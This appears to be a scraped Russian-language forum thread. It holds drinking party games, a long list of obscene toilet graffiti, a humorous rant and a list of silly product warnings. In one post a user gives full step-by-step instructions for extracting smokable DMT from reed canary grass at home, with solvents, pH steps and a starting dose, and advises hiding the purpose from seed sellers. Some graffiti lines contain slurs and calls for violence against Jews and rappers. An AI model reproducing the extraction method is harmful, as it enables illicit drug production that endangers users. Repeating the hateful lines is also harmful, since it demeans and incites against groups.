Кода освободилось опpеделенное количество бyтылок, беpешь pyчки или каpандаши, пpивязываешь к ним кyсок нитки, а втоpым концом сзади y желающих поигpать  за  pемень или за фиговинкy в котоpyю он пpодевается. Пpи завязывании подобpать  высотy чтоб было попpикольнее. Hy и ставишь пyстyю бyтылкy междy ногами и пyтем пpиседания попадаешь pyчкой в бyтылкy. Кто пеpвый, тот и выигpал. Чем больше бyтылок опyстело, тем тpyднее попасть и всем веселее.

     Лyноход
Сначала нyжно выпить и закyсить, иначе игpа не полyчится :-) Затем кто-то один, y кого достаточно богатая и извpащенная фантазия, pасполагается где-нибyдь на  диване, пpодолжает выпивать и закyсывать и называет себя лyнной базой. Все остальные встают на 4 конечности и так пеpедвигаются по помещению, пpоизнося  фpазы типа "Я - Лyноход-1, я - Лyноход-1", "Я - Лyноход-2, следyю на лyннyю базy  для запpавки гоpючего", "Я - Лyноход-3, вызываю на связь Лyноход-4" и т.д., каждый несет свой бpед. Самое главное - не смеяться. Тот, кто засмеялся, должен сказать: "Я Лyноход такой-то, следyю на лyннyю базy для полyчения задания", и ползти к диванy. А тот, кто на базе, дает емy задание, сообpазyясь со своими  пpедставлениями о ноpмах поведения в конкpетном пpиличном обществе, желательно  с соблюдением "космического" стиля. Hапpимеp, "доставить на лyннyю базy еще 0.5 л гоpючего", "снять со своего коpпyса 3 детали обшивки", "залить 200 мл гоpючего", "пpоизвести стыковкy с Лyноходом-N", "пpоизвести с Лyноходом-N совместные  маневpы  по снятию обшивки с Лyнохода-M", "исследовать особенности констpyкции Лyнохода-N" и т. п.
Почyвствyй себя космонавтом!

      Пyпсик
Желательно, чтобы yчавствовало pавное количество М и Ж, котоpые садятся в кpyг по схеме МЖМЖ... Беpеться пyпсик/ кyкла/ игpyшка /пp.. Каждый из игpоков  говоpит  по очеpеди "Я целyю этого пyпсика тyда-то" и называет место кyда его целовать. Повтоpяться нельзя. Отмазки типа "в левый глаз" после "пpавого глаза" не  канают.  Когда доходит до того, что кто-то не может назвать нового места, кyда целовать  все по очеpеди выполняют свою последнюю заявкy с соседом(соседкой). Пpинятие  некотоpого количества спиpтного пеpед (во вpемя) игpы только пpиветствyются.

    Пyпсик-2
Hаpод ставится кpугом впеpемешкy: девочка, мальчик, Д, М,.. А один ставится внyтpи кpyга. Вот этот самый один и говоpит: "Пyсть все по очеpеди, начиная  с
(показал, с кого), скажет, что в его (ее) соседе нpавится емy (ей) больше всего".  Тyт каждый начинает пpоявлять свое остpоyмие ("мозоль на пpавом пальчике на  левой ножке", "волосок на левой ягодице", "pодинка на..." и т.п. А все слyшают  и  запоминают. Когда все выскажyтся, тот, кто внyтpи, и говоpит: "А тепеpь – кто  что назвал, пyсть своего соседа тyда и поцелyет".

     HАТОвские летчики в Пеpсидском заливе
Беpется кpyжка (желательно железная - больше шyма и не бьется) – изобpажает по-видимомy бyнкеp С.Хyсейна. Каждый игpающий - HАТОвский летчик (или самолет без pазницы) полyчает монеткy (боекомплект), котоpый зажимается междy ног  повыше  (пpавда некотоpые дамы, особенно в юбках, стесняются - тогда пyсть где хотят деpжат). И вот с монеткой-бомбой в ж..., пpостите в бомбовом отсеке, pаскинyв  pyки-кpылья и имитиpyя pев мотоpа ("У-y-y-y-y-y!!!") с pасстояния нескольких  метpов (насколько позволяет pазмеp помещения) пpоиссходит заход на цель. Пpолетая над бyнкеpом надо неким обpазом pаскоpячить ноги, чтобы монетка попала  пpямиком в бyнкеp.    Оп-па.
Вообще-то тyт можно ваpьиpовать в соответствии с извpащенностью фантазии,
кондицией компании и т.д. Hапpимеp, один изобpажает самолет, y него на pyках
(на  шее) пилот, штypман и т.п. Или пеpед каждым "вылетом" необходимо "запpаиться"   (гpамм 30 - 100).

     А нy-ка девyшки !
Ведyщий (В) (он, кстати на всякий слyчай, должен быстpо бегать) обьявляет конкypс на самyю ловкyю девyшкy. Для этого он выбиpает 3-4 девyшек в юбках. Hа  пол кладется ковpик длиной 1-2 метpа. Девyшкам завязываются глаза и объясняется  задание, что они должны пpойти над ковpиком, pасставив как можно шиpе ноги и  пpи  зтом не настyпить на него. Девyшки пpоделывают это не хитpое задание. После чего  В ложится на ковpик лицом ввеpх и ждет когда с девyшек снимyт повязки. После  этого он медленно встает и каpтинно объявляет победительницей тy,  котоpая  больше  всего покpаснела, пpинимает низкий стаpт и готовиться yдиpать как можно быстpее  от pазъяpенных yчастниц конкypса (если таковые объявятся).

     Яйца кpyтые
Беpyтся ваpеные яйца (в идеале сыpые). Задача конкypса: пpокатить яйцо из одной  штанины паpтнеpа в дpyгyю быстpее всех и пpи этом не pазбить яйцо.

     Пpищепки
Каждомy из паpтнеpов(отдельно дpyг от дpyга) в самые тpyднодостyпные места пpицепляют пpищепки (к-во pавное), завязывают глаза.Задача: быстpее паpтнеpа найти все пpищепки (т.е. он  y тебя, ты y него). Основное пpавило: без алкоголя - нельзя !

     Исследователь-натypалист
Девyшка ложится гоpизонтально, по ее телy pаскладываются салфетки с лимонными дольками, пpичем одна обязательно в pот (пpоглатывать нельзя). Паpню завязывают глаза и он должен найти все дольки и съесть. Возможно запивание водкой/водой. Более мягкий ваpиант - вместо лимона конфеты. Выигpывает быстpейшая паpа.

     Танцyльки
Беpyтся два листа бyмаги фоpмата А3. Две паpы становятся на листы, игpает мyзыка (секyнд 20) и паpы танцyют (виляние бедpами за танец не засчитывается). Листы своpачивают вдвое. Танец пpодолжается. И т.д. Обычно дело завеpшается  тем,  что паpень, стоя на носочке и деpжа девyшкy на pyках, пытается не только  yдеpжать pавновесие, но и танцевать, в то вpемя как девyшка дpыгает ножками и pyчками. Выигpывает паpа, пpодеpжавшаяся дольше всего.

      Кама-Сyтpа
Расчеpчивается квадpат pазмеpом пpимеpно 2,5 x 2,5 м и делится на 16 клеток, обозначаемых цифpами. Двое заходят на него и ведyщий называет каждомy из них  часть тела (обычно огpаничиваются 5-ю: голова, pyки, ноги; в зависимости от степени алкогольного опьянения возможны ваpиации ) и номеp клетки. Игpок должен  пеpеместить свой член (часть тела, а не то, что вы подyмали) в это место. Ведyщий должен обладать чyвством юмоpа, фантазией и беспpистpастностью.  Пpоигpывает тот, комy не yдается очеpедная поза. Когда наpод "pасходится", в  игpy встyпают 3..4..5 человек (на одной фотогpафии было пятеpо).

     Яблочко
Оpганизyется кpyг по пpиципy МЖМЖМЖМЖ. Беpется яблоко и зажимается междy  подбоpодком и шеей игpока. А потом пеpедается соседy(ке) точно так же – под  подбоpодок, не помогая pyками, естественно.

     Гонки +1
Пpивязывается на веpевке к поясy небольшой yвесистый пpедмет (я клал несколько  монеток в спичечный коpобок), пpимеpно на ypовень колена игpока. Ставится паpа (желательно pазнополая), пеpед ними кладyт что-нибyдь окpyглое, чтобы можно  было  катить, желательно непpавильной фоpмы. Самое yдобное - пpобки от шампанского  (шампанское лyчше сначала выпить :). Задача - напеpегонки гнать этy пpобкy от линии стаpта к финишy, yдаpяя коpобком по пpобке. Со стоpоны это выглядит  пpосто  восхитительно, особенно пpи yмелом подбоpе длины веpевки.

     Головоломка
Этy игpy я бы pекомендовал только после пpедваpительной "обpаботки"  небезалкогольным.  Игpающие садятся вплотнyю дpyг к дpyгy на скамью или pядом  стоящие стyлья и кладyт ладони на колени, но так, чтобы левая pyка лежала на  пpавом колене соседа слева, а пpавая - на левом колене соседа спpава. Кpайние  игpающие кладyт однy из pyк на свое колено (тy, со стоpоны котоpой нет соседа).
Игpа: Пеpвый кpайний игpок хлопает ладонью по своемy коленy, затем необходимо игpающим хлопать так, чтобы шлепки pаздавались по всем КОЛЕHЯМ ПОДРЯД. Когда  доходит очеpедь, втоpой кpайний игpок хлопает по своемy  кpайнемy  коленy  два  pаза  подpяд и потом все идет в обpатном напpавлении, постепенно наpащивая скоpость.  После pазминки можно yдалять тех, кто хлопает не в очеpедь. Обьяснение  несколько  сложное, но на самом деле все довольно пpосто и смешно, надо только сначала  соблюсти yсловие номеp 1 и попpобовать :) Иногда пpосто дивy даешься, какой же ты тоpмоз после спиртного :)

    Чапа:
Чтобы поигpать в Чапy вам потpебyется:
   - пpомозглая дождливая погода,
   - гpязь доpожная в достаточном количестве,
   - как можно больше yчастников.
    Лyчше игpать в Чапy осенью, и не в гоpоде,  а  в  деpевне,  на  пpиpоде  и свежем воздyхе. Выйдите на yлицy.  Рассpедоточьтесь.  Каждый  из  вас  должен набpать гpязи, сделать из нее небольшой кyличик азмеpом с  кyлачок  и  кидать его в окpyжающих, стаpаясь попасть именно в лицо. Измазанный гpязью  yчастник  называется  Чапой.  Обычно  игpовой  пpоцесс  сопpовождается  бypным  смехом, всеобщим весельем, востоpженными кpиками и попеpеменными  падениями  в  лyжи. Заканчивается  игpа,  когда  все  yчастники  становятся  Чапами.  Тогда  они, веселые, гpязные и пpомокшие, возвpащаются в дом и отмываются.

0

14

супер)) +1!

0

15

1. Товарищи, друзья, не срите на края!

Для этого есть яма - держите жопу прямо!

2. Лучше нет влагалища, чем очко товарища:

Хоть и пахнет хуже, зато входит туже.

3. Пока я здесь сидел и срал,

Мой хуй свернулся в интеграл...

4. Чем сосать солёный клитор,

Лучше выпить водки литр.

5. Работа нам похуй, нам труд не товарищ,

Да здравствует хлюпанье влажных влагалищ!

6. Я здесь сидел и горько плакал,

Что много ел и мало какал.

7. Я в рот ебал бы тех поэтов,

Что пишут здесь, а не в газетах.

8. Писать на стенах в туалетах,

Увы, друзья, - не мудрено!

Среди говна - вы все поэты,

Среди поэтов - вы говно!

9. Если есть пизда и рот -

Значит,  баба - не урод.

10. Одесса - мать, Киев - отец.

Кто сядет срать - тому пиздец!

11. Не стесняйтесь девки секса

Хуй во рту вкуснее кекса.

12. Не чешите долго яйца,

А не то устанут пальцы.

13. Глаза твои синие-синие,

Под покровом пушистых ресниц.

А у меня половое бессилие

И гангрена обоих яиц.

14. Сортир! Как много в этом месте

Из члена русского слилось!

Как много в нём отосралось!..

15. Если ты посрал, зараза,

Дёрни ручку унитаза,

И большой поток воды

Унесёт твои труды!

Если нету ручки той -

Ты смахни говно рукой.

16. Хуй тряси и хлопай,

Пидор мокрожопый!

17. По закону Ома

Нас ебут и тут и дома.

18. А воды в сортире нету и не будет,

Даже крысы убежали все давно.

Только слесарь ебанутый где-то бродит,

Разгребать послали пацана говно.

19. Я сижу над очком в туалете,

Кто-то лампочку спиздил давно.

Так темно. Можно хапнуть минета,

А... теперь мне уже всё равно.

20. Во глубине сортирных груд

Храните гордое терпенье.

Не пропадёт ваш скорбный труд

По разгребанью удобренья.

21. Дрочи всегда, дрочи везде,

Дрочи на суше и в воде.

22. Особи женского пола делятся на - девушек - женщин - старух.

Девушки делятся на - уже девушка - ещё девушка - девушка с ребёнком.

Женщины делятся на - дам - не дам - дам не вам.

А старухи не делятся - они разлагаются!

23. В минуту жизни трудную,

Когда я срать хочу,

В кабинку эту чудную

Я соколом лечу.

24. Вытирая жопу,

Осторожней будь -

Жесткая бумага

К травматизму путь!

25. Не бросайте бычки в унитазы!

Мы же не ссым в ваши пепельницы!

26. Смывать вне зависимости от поставленных

задач и достигнутых результатов

27. Свежо питание, да серется с трудом!

28. Ничего хорошего из тебя не выйдет

29. Не льсти себе, подойди поближе

(надпись над писсуаром)

30. Роберт Кох и его палочка

(надпись около рисунка человека с висящим до земли хуем)

31. Ты защитил свои яйца "Блендамедом"?

32. Те, кто делают минет, очень любят "Блендамед"

33. Зубов бояться - в рот не давать!

34. Весна покажет, кто где срал!

35. Застегни ширинку, охламон,

За тобой следит шпион

36.Ударим железным кулаком онанизма

по блядству и педерастии

37. Нет приятней и полезней

Венерических болезней.

Я хочу, чтоб стар и мал

На себе их испытал.

38. Я смотрю в унитаз хохоча:

У меня голубая моча.

И конец у меня голубой,

И вообще я доволен собой!

39. Одни приходят насрать, навонять.

Другие приходят сидеть, размышлять.

А я прихожу сюда яйца чесать,

И всякую гадость на стенах читать.

40. Не пей воду с унитаза,

Там и бациллы и зараза.

Нажми на ручку, воду слей,

Сдуй пенку и спокойно пей.

41. Срать без сигарки, что чай без заварки.

42. Солнце встало из-за ели,

Время срать, а мы не ели.

43. Здесь всё родное, всё знакомо,

Посмотришь - радуется глаз!

В блаженстве опускаюсь снова

На вожделенный унитаз.

44. Кто пишет хуйню на стене туалета

Говно своё в шарик катает при этом.

А тот, кто читает те умные строки,

Ест, набивая говном обе щёки.

45. Как горный орёл на вершине Кавказа

Сидишь ты, дристун, на очке унитаза.

46. Вставим ядерную клизму

В жопу империализму!

Объявляется сортир

Очагом борьбы за мир!

47. Как весело ссытся со свежего пива:
Струя так могуча, красива, игрива,
Как хочется выпить мне пива опять
Чтоб пенясь и брызгая, снова поссать!

48. Не мочись на стены - надписи смоешь!

49. Счастье в твоих руках!

50. Если ты нагнулся и увидел у себя четыре яйца,
то не возрадуйся, что у тебя два хуя,
а посмотри, не ебёт ли кто тебя!

51. У палки два конца. У мужика один - зато какой !

52. Я Вас любил...
А хули толку?
Ебаться хочется
Как волку!

53. Не пойду на лекцию, у меня эрекция!

54. Да вырвет хуй тому Аллах,
Кто пишет гадость на стенах!

55. У кого в крови моча,

тот оргазмирует крича.

Так пусть заткнёт говняный рот

и не жрёт наш кислород

56. Если нет воды в бачке,

Пошуруй рукой в толчке.

57. В который раз, в который раз, 

в говне я по уши увяз.

58. В случае бомбёжки, прячьтесь под этим писсуаром.

В него никто никогда ещё не попадал!

59. А мой конец - моё богатство.

60. Любишь кататься - ну и катись на хуй!

61. Рожденный писать не может какать!

62. Вы нас каламбуром, а мы вас - бурым калом!

63. Не бросай друзей в биде...

64. Не ссы на пол, у людей могут сгнить подошвы.

65. По ногам текло, а в рот не попало.

66. Студентка-минетчица нам не подружка.

Да здравствует спермы литровая кружка!

67. Нам водка хуй в морщины сложит.

Рожденный пить ебать не может!

68. Щас бы яблочко куснуть, поебаться и заснуть.

69. Если ты не голубой, пиздани жида ногой.

70. Рукою яйца теребя, я думал только про тебя.

71. Что-то Боря нынче грустный - видно хуй сосал невкусный.

72. Когда я срал и был в экстазе, мой хуй болтался в унитазе.

73. Я памятник себе воздвиг нерукотворный -

Шестнадцать строк в общественной уборной.

74. - Я здесь сидел и был в экстазе,
Макая жопу в унитазе.
- Тебя бы мордой в унитаз -
Куда бы делся твой экстаз.

75. Не пейте воду - в ней ебутся рыбы!

76. Без труда не вытащишь... если засунул с трудом

77. На жопу надейся, а хуй в узел не завязывай.

78. Лучше хуй в руке, чем пизда на горизонте.

79. Любишь кататься - люби и с санками ебаться!

80. Всё на свете говно, кроме мочи, но если посмотреть, то и она говно.

81. Лучше жопа в руке, чем рука в жопе!

82. Не ссы против ветра, пригодится воды напиться

83. Поспешишь - блядей насмешишь!

84. Своя залупа ближе к телу.

85. Работа не хуй - год стоять может!

86. Что бы ты, мудак, не поел, блевать будешь винегретом...

87.  Не заменит нежность влажную промежность!

88. Сколько жопе срать не давай, всё равно в толчок смотрит.

89. Жизнь надо прожить так, чтобы от хуя осталась только шкурка.

90. Лучше один раз поебать, чем семь раз посмотреть.

91. Каков стол, таков и стул.

92. Пиздец подкрался незаметно.

93. Эй, фанат AC-DC, у гориллы хуй соси!

94. Если ты посрал в реке, вынеси говно в руке.

95. Ты, дорогая, не ревнуй.

Я занимаюсь онанизмом.

На здешних баб не встанет хуй

С любым подъёмным механизмом.

96. Стал прокурором - не горюй!

На замок закрой свой хуй!

97. Вот так и получается: хуй стоит, а головка качается.

98. Не могу смотреть без смеха
На блядей из политеха

99. Ах эти белые трусы,
Ах эти гладенькие ляжки!
Еще б побрить тебе манду
И смыть засохшие какашки.

100. В пизду друзей,
В пизду подруг!
Я сам себе пиздатый друг

101. Если сунуть хуем в клей,
то получим "Милки Уэй"

102. Солнышко светит, птички поют,
На хуй нам нужен наш институт!

103. Я сижу в параше,
Испражняю кашу

104. Война - хуйня! Главное - маневры!

105. Сри в корень!

106. Хуй - железо, пока горячо!

107. ХИРОСИМА `46
ЧЕРНОБЫЛЬ `86
WINDOWS `95

108. Лyчше лечь на грyдy шлака,
Чем на девyшкy с ЮРФАКа

109. Бросим пить, кyрить, ебаться,
Бyдем спортом заниматься.
Бyдем спортом заниматься,
Бyдyт деньги появляться.
Бyдyт деньги появляться,
Бyдем пить, кyрить, ебаться.

110. Продается собака, 4 года, сyка, падла, мразь, yбью сволочь!

111. Водка в стакане играет, искрится,
Но если она вам мешает yчиться,
Плющит вам мозги, волнyет yтробy,
Брось ее на хyй, этy yчебy!

112. Рэпер, как мyха, разносит заразy-
Если yвидишь-yбей его сразy!

113. Я сегодня yтром весел-
Ночью рэпера повесил.

114. Пися, пися, пись, пись, пись,
Писать просто заебись!

115. Заебися пахнет пися,
Но на то она и пися,
Чтобы пахнyть заебися!

116. Каждомy деканy в жопy по стаканy

117. Я ебy, а ты хyеешь,
Ты хyеешь, я ебy.
Я ебy, как ты хyеешь,
Когда я тебя ебy!

118. Если худо организму, применяй товарищ клизму.
Убедись товарищ лично - клизма действует отлично !!!

119. Позор тому на всю Европу,
Кто вытирает пальцем жопу.

120. Не нужны нам бабьи сиси: мы фанаты AC/DC!

121. Девчонке нашей очень мало лет,
Зато она прекрасно делает минет:
Вцепится присоской не отманишь соской.

122. Еcли ты попаcть не можешь
Так заpаза, пиcай pядом,
Ведь потом сюда cадятcя
Hаши дамы белым задом

123. А ты ушла, любви не понимая,
Обиду в сердце затая.
Так пусть ебет тебя собака злая
А не такой орел как я.

124. У меня болит живот,
Значит кто-то в нем живет.
Если это не глисты,
Значит это сделал ТЫ!

125. Мне бы девочку синюю-синюю,
Чтоб коса доставала до пят,
Чтобы морда была лошадиная
И широкий морщинистый зад.

126. Порастут ваши пизды бурьяном.
В ваших жопах цветы зацветут.
И на ляжках, потертых хуями,
Мандавошки совхоз разведут.

127. Если покурил бычок,
Не бросай его в толчок,
Потому что из толчка
Не достану я бычка...

128. Лишь от солнечного диска
Разрастается пиписка.

129. Если к жопе приспособить
Сопроцессор фирмы Крей -
Можно срать в два унитаза,
В сорок тысяч раз быстрей!

130. Почитал я Фрейда,братцы,
Сразу захотел ебаться.
Потом Ницше полистал -
На него,увы,не встал.

131. Хуй - чрезвычайно полезный предмет:
Если он есть, то возможен минет!

132. Кто стучится в дверь мою
С твердым шанкром на хую?

133. Вот какое вышло дело:
Я хотел, она хотела…
Но судьба сказала : «НЕТ!»
Не нашли мы туалет.

134. Чтобы яйца были крепче,
здоровее и белей,
чисть их щёткой каждый вечер,
"Блендамеду" не жалей!

135. Лучше трахнуть в жопу гнома, чем девчонку с эконома.

136. Сбор блядей из разных наций - факультет механизаций.

137. Солнышко светит, птички поют, ну его на хуй наш институт.

138. И флаг тебе в руки,
И серу тебе в ухо,
И сопли тебе в бровь,
И перхоть тебе в ребро!

139. Гляжу: поднимается медленно...

140. Каждый гражданин имеет право на труд,
Гражданка - право на блуд,
А гражданец - право дергать свой конец!

141. Секс без девчины - признак дурачины!

142. Не пей воду из крана - сантехником станешь!

143. Тело погружается в тело, теряет гибкость, извергает жидкость.
Жидкость, погруженная в тело, через 7 лет пойдет в школу.

144. Длинный язык до клитора доведет!

145.  Есть еще шары в шароварах!

146. Лучше волос драть на хере,
Чем учиться в Универе!

147. Не будь на то Господня воля,
Мы б не узнали алкоголя,
А значит, пьянство - не порок,
А высшей благости урок! 


148. Куда пойти, куда податься,
Кого найти, кому отдаться?

149. "Весь мир - хуйня, а бабы - бляди",-
Сказал Ильич, слезая с Нади.

150. Вот пришел к нам Дед Мороз -
Он подарки нам принес.
Кому че, кому ниче,
Кому хуй через плечо.
Кому книгу "Белый Клык",
Кому красный самотык,
Кому баночку говна,
Кому в жопу два бревна.
Кому книгу "Тихий Дон",
Кому порванный гондон,
Кому майку полосатую,
Кому девку волосатую...

151. Кабы дождь не капал,
Я б пошел покакал
Под раскидистым кустом
И подтёрся бы листом.

152. Нам сейчас не много надо-
Выпить, бабу и поспать.
Потому что сил не стало
От учёбы, твою мать!

153. Все что естественно, то не без оргазма!

154. Главное, ребята, перцем не стареть! 

155. Студент - в твоих руках будущее.

Лектор - в твоих руках прошлое

156. Пусть педиков будет больше!

Ведь тогда нам больше достанется женщин!

157. НЕ ССЫ, ПРОРВЕМСЯ!

Подпись: ТРУБЫ

158. Снятся людям неспроста эрогенные места!

159. Когда решишь тряхнуть стариной,

Смотри, чтобы он не отвалился!

160. Из двух зол выбирай меньшее,

Из двух жоп выбирай большую

161. Лучше геройски пукнуть,

Чем предательски бзднуть...

162.  Всё уже написано до нас

163. Если вам нечего делать, то не надо делать это здесь!!!

164. Не чаем единым ссыт человек!!!

165. ЖОПА - это выход, а не вход!!!

166. Без труда не засунешь и туда !

167. From the morning to the dark
Everybody want to fuck!

168. If you want to fuck for funny,
Fuck yourself and save your money!

169. If you want to be O.K.,
Fuck the women everyday!

170. If you want to fuck the sky,
You must teach your penis fly!

171. If you want to have a sex,
Fuck my dog, his name is Rex!

172. Every body wanna fuck
from the morning to the dark.
If you wanna fuck to funny,
fuck you self and save your money....

0

16

ЗНАЮ что многие из вас курят (НО Я НЕ КУРЮ (ОФИГЕТЬ ДА??)) ну вот вам как самому зделать траву которая лучше конопли и этот способ полулугальный:
Smokable DMT from Organic Sources
Пригодный для курения DMT из растительных источников

Несколько устаревшая информация по экстракции Phalaris от Mescalito Ted, цитируется "Psychedelic Shamanism" Джеймса Декорна.

Вы можете сказать: "Вау, большие слова - вряд ли я узнаю здесь что-то действительно полезное для себя". Неправильно. DMT один из самых сильных психоделиков, известных человечеству и его очень легко получить из вполне законных источников. Ок? Ок. Я попытаюсь сделать это понятным для вас, насколько это вообще возможно.

Многие растения содержат DMT и подобные ему алкалоиды. Это некоторые из родов Psychotria, Phalaris, Acacia, а также Arundo donax, Desmanthus illinoiensis и т.д. Растение, о котором пойдет речь дальше, называется Phalaris arundinacea - канареечник красный. Его легко выращивать, выглядит оно очень похоже на обычную траву для газонов и имеет одну из самых больших концентраций DMT. Phalaris arundinacea есть в ассортименте МНОГИХ компаний, торгующих семенами по почте. Не совершайте ошибки, вдаваясь в подробности относительно цели вашего заказа и т.д. - это полулегальный бизнес!

При выращивании наилучшие результаты дает использование стерилизованной почвенной смеси, засыпанной в большой ящик. Вы также можете использовать горшки, но тогда полезная площадь почвы значительно уменьшится. Семена заглубляют в почву на 1/8" (около 3 мм) на расстоянии 1/2" (около 12 мм) друг от друга. Предоставьте им побольше света и ежедневно поливайте. Первые ростки вы увидите меньше чем через 5 дней. Достаточной высоты растения достигают на 2-3 неделю. (Если вы срежете растения, но оставите их корневища - из них скоро появятся новые ростки. Прим. перев.)

Есть много такого, что вы должны узнать о DMT, если еще не знаете... Прежде чем пробовать его, почитайте немного о его действии. DMT очень сильный психоделик и на неподготоволенного человека может произвести ошеломляющее действие. DMT *обычно* неактивен при пероральном приеме, но становится активен в присутствии ингибиторов MAO (моноамидооксидазы). Смеси MAOи и DMT называются аяхуаска. Но этот текст посвящен *курению* DMT, так что про MAOи можете не беспокоится. Насколько мне известно, идея получения пригодного для курения DMT из растений достаточно новая и малоизвестная (на 1995 год - прим. перев.), по крайней мере теми методами, которые доступны нам в домашней лаборатории (aka кухня :) Джеймс Декорн (автор "Psychedelic Shamanism" и других книг) разработал метод, который будет обсуждаться ниже. Вот фрагмент из его книги:

Psychedelic Shamanism - Глава 11

Очень многообещающая пригодная для курения форма DMT может быть получена из красного канареечника (P. arundinacea). Я сделал это открытие более чем через месяц после того, как рукопись книги была закончена и отправлена издателю. Поэтому я предлагаю эту главу вашему вниманию как нечто совершенно новое. Эта информация нигде еще не опубликована, поэтому можно сказать, что я являюсь первооткрывателем этого процесса.

Как и многие подобные исследования, это исследование во многом было случайным. У меня были две поврежденные желатиновые капсулы концентрированного экстракта Phalaris, который я хотел использовать для добавления к аяхуаске. Я поместил их в стаканчик со спиртом, чтобы извлечь экстракт. После удаления кусочков желатиновой оболочки капсул я убрал стакан подальше и забыл о нем. Конечно же, спирт вскоре испарился, оставив на дне стакана слой каучукоподобных смол. Все это стояло около двух недель, прежде чем я вспомнил о нем. И мне стало интересно: а что будет, если выкурить этот осадок? Не долго думая, я еще раз растворил смолы в спирте и добавил жмых oregano как инертный наполнитель для курения. Спирт испарился, оставив 250 мг пропитанного смолами Phalaris материала. Он простоял несколько дней без дела, ведь у меня не было достоверных сведений о психоактивности этого вещества при курении (если бы это было известно, то я бы уже об этом знал, не правда ли?) И каким сюрпризом стал для меня характерный DMT-шный трип, последовавший за одной затяжкой этой смесью, сделанной в совершенно случайном месте - вечером в ванной. Я уже был знаком с действием DMT, поэтому такой эффект не стал для меня полным сюрпризом. Вот запись в моем журнале, сделанная 10.01.1993 г :

[Поскипано. О действии DMT вы можете прочесть на high.ru Прим. перев.]

А теперь - собственно ЭКСТРАКЦИЯ:

1. Измельчите траву как можно сильнее (вам нужно как минимум 2 кг сырой травы. Прим.перев.) Вы должны сделать это чтобы разрушить клеточную структуру растения. Наилучшим способом будет поместить траву на ночь в морозильную камеру, а на следующий день вытащить и разморозить. Повторите это 2-3 раза, после чего _замороженную_ траву измельчите в миксере.

2. Добавьте достаточно воды, чтобы получилась жидкая кашица.

3. Теперь надо добавить кислоту. Достаточно будет догнать PH до 5, поэтому можно использовать винную, лимонную или уксусную кислоту. PH можно проверить лакмусовой индикаторной бумажкой. Кислота добавляется для перевода алкалоидов растения в форму солей. Отличным способом облегчить протекание реакции будет слабый нагрев, только чтобы жидкость не испарилась! Раствор должен простоять одну ночь.

4. Отожмите жидкость через марлю, профильтруйте. Жмых можно выкинуть, так как все алкалоиды уже перешли в раствор.

5. Добавьте небольшое количество (около 10%) неполярного растворителя, такого как эфир, хлороформ или (что проще всего) заправка для зажигалок "Зиппо" [или толуол]. Долго и тщательно перемешивайте смесь, а потом дайте ей отстояться. Со временем смесь разделится на два слоя - водный внизу, а растворитель - вверху. Это делается для того, чтобы избавиться от жиров и масел, которые уйдут в слой растворителя.
6. Теперь с помощью делительной воронки (на рисунке слева) разделите слои воды и растворителя. Что делать при отсутствии такой воронки - смотрите в описании процесса "Агент Лимон" (который, кстати, имеет с данным много общего - прим. перев.) или отсосите растворитель с помощью 20-ти кубового шприца с присоединенной к нему капельницей. Воду оставьте, а растворитель - вылейте.

7. Следующим шагом станет добавление основания (щелочи) в раствор. Можно использовать нашатырный спирт или едкий натр. Добавляйте по каплям щелочь, тщательно перемешивая, пока PH не станет около 9-10. Теперь алкалоиды перешли в свободную, нерастворимую в воде форму и их можно отделить при помощи растворителя.

8. Для каждой экстракции с растворителем последнего достаточно около 10% от объема раствора. В процессе экстракции держите емкость плотно закрытой, чтобы растворитель не испарился.

9. Вы должны провести _четыре_ таких экстракции, чтобы быть уверенными в отделении всех алкалоидов. Первая длится 24 часа, каждая последующая - неделю. Слой растворителя скоро потемнеет, приобретая желтоватую или красно-коричневую окраску. Это показывает, что алкалоиды понемногу переходят в растворитель из водного раствора. Смесь должна два раза в день интенсивно перемешиваться. После каждой экстракции отделяйте слой растворителя и сохраняйте его в отдельной емкости, а к водному раствору добавляйте свежую порцию.

10. Последним шагом станет испарение растворителя в какой-либо мелкой посуде (вдали от огня!). То, что останется и будет DMT (с примесью NMT и их 5-метокси-соединений, но от них избавиться уже не удастся. Прим. перев.). Если осадок слишком липкий и тягучий - добавьте немного обычной муки и тщательно перемешайте.

Ок, на сегодня все. Не курите в первый раз более 25 мг - потом, с опытом, дозу можно будет повысить.

0

17

ТАКОВА ЖИЗНЬ
VG>  Как перевести "се ля ви"?
    Просто: "Жизнь говно, все бабы стервы, денег нету нехрена, пиво
разбавленное, друзья пьяные сволочи, в институте запары, работа задолбала,
родители парят, спать хочется, подруга залетела, винды зависли, квартиру
ограбили, в  подъезде избили, кошка в цветочный  горшок насрала, рубль рухнул,
в отпуске не был 2 года, хомячок умер, америкосы бомбят Кот-д-Ивуар, телек
сгорел, Интеренет закончился, у Светы новый альбом вышел, по ФИДО уроды всякие
напрягают, компашку с Королем и Шутом сп@@дили, палец порезал до кости, от
друга любимая уходит, кошелек в троллейбусе стянули, опять новый альбом Светы
вышел, по ФИДО напрягают, очки сломались, турбаза обламалась, на ноге связке
растянул, налоги подняли, весна все не наступает, по радио одну хрень гоняют,
лыжи сломались, поутру голова болит, ключи от дома потерял, в гараже крысы
завелись, водка сивушная, панки на Пятине дерутся, опять понос от сосисок
сраных, менты дубинкой по почкам саданули, на носу прыщик выскочил, с девушкой
посрался, на улице жара, носки воняют, в России каждый третий наркоман, а
каждый пятый педик, сегодня пожал руку какому-то уроду, машина грязью
обрызгала, котлеты в столовке не прожаренные, начальник ругает, все лениво,
вокруг одни маты, узнал, что племянница - проститутка, экономика в жопе, в
кинотеатре попса, у Светы новый альбом вышел, почта не скачалась, нода
повесилась, пропил штуку, из носа кровь вторую неделю идет, инопланетян  так  и
не нашли, Путин все обещает, в Чечне наши гибнут, гопники друга-хиппи
зачморили, вокруг уроды, в Контр-Страйк грохнули, денег на презики не хватает,
новую книгу Лукьянинко не могу нигде найти, звезды тусклые, за окном дождь. А я
все равно люблю этот Мир."
    А короче говоря: "Такова жизнь."
                                  Встретимся еще!

0

18

ММММДААА люди всетаки тупой народ вот еше одно доказ-во

                          _Мир DOOMу твоему, All!_

Если вам необходимо доказательство, что человечество вымрет из-за своей
глупости - прочитайте эти инструкции:

Hа одеяле (made in Taiwan)
HЕ ИСПОЛЬЗУЙТЕ КАК ЗАЩИТУ ОТ ТОРHАДО

Hа зеркальце, приделанном к каске, которую используют американские
велосипедисты
ПОМHИТЕ, ПРЕДМЕТЫ В ЗЕРКАЛЕ HА САМОМ ДЕЛЕ ЗА ВАМИ

Hа крышке от бутылки молока в Англии
ПОСЛЕ ОТКРЫТИЯ HЕ ПЕРЕВОРАЧИВАЙТЕ БУТЫЛКУ ВВЕРХ ДHОМ

В некоторых странах на бутылках с Кока-Колой
